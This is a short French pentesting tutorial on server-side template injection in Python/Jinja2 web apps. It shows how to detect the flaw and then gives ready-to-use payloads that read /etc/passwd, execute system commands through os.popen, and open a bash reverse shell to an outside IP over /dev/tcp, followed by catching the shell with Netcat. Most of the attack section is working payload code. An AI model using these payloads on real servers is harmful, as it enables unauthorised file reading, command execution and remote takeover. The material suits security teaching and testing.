SSTI (Python) - Pentesting Web

Comment savoir si un site web est potentiellement vulnérable à une attaque SSTI ?

Si nous pouvons introduire une valeur dans un input, comme dans le cas suivant avec la variable user, qui est interprétée dans un output :

Avec whatweb, si nous constatons qu'un serveur web utilise Python, Java, Jinja2, Angularjs... comme langage de programmation et que cela n'est pas sanitisé, il pourrait contenir cette vulnérabilité :

Pour tester cela avec les {{ }}, nous essaierons de voir s'il interprète le calcul :

Dans ce cas, il l'interprète :

Grâce au site web PayloadsAllTheThings, nous trouverons toutes les injections possibles :

Voici quelques exemples avec Python :

Obtenir l'accès à n'importe quelle ressource du système (/etc/passwd) :

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

Exécuter n'importe quelle commande du système (id) :

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Obtenir un accès au serveur :

http://localhost:8089/?user={{+self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >%26/dev/tcp/192.168.71.128/443 0>%261" ').read()+}}

Nous écoutons avec Netcat et Pwned :)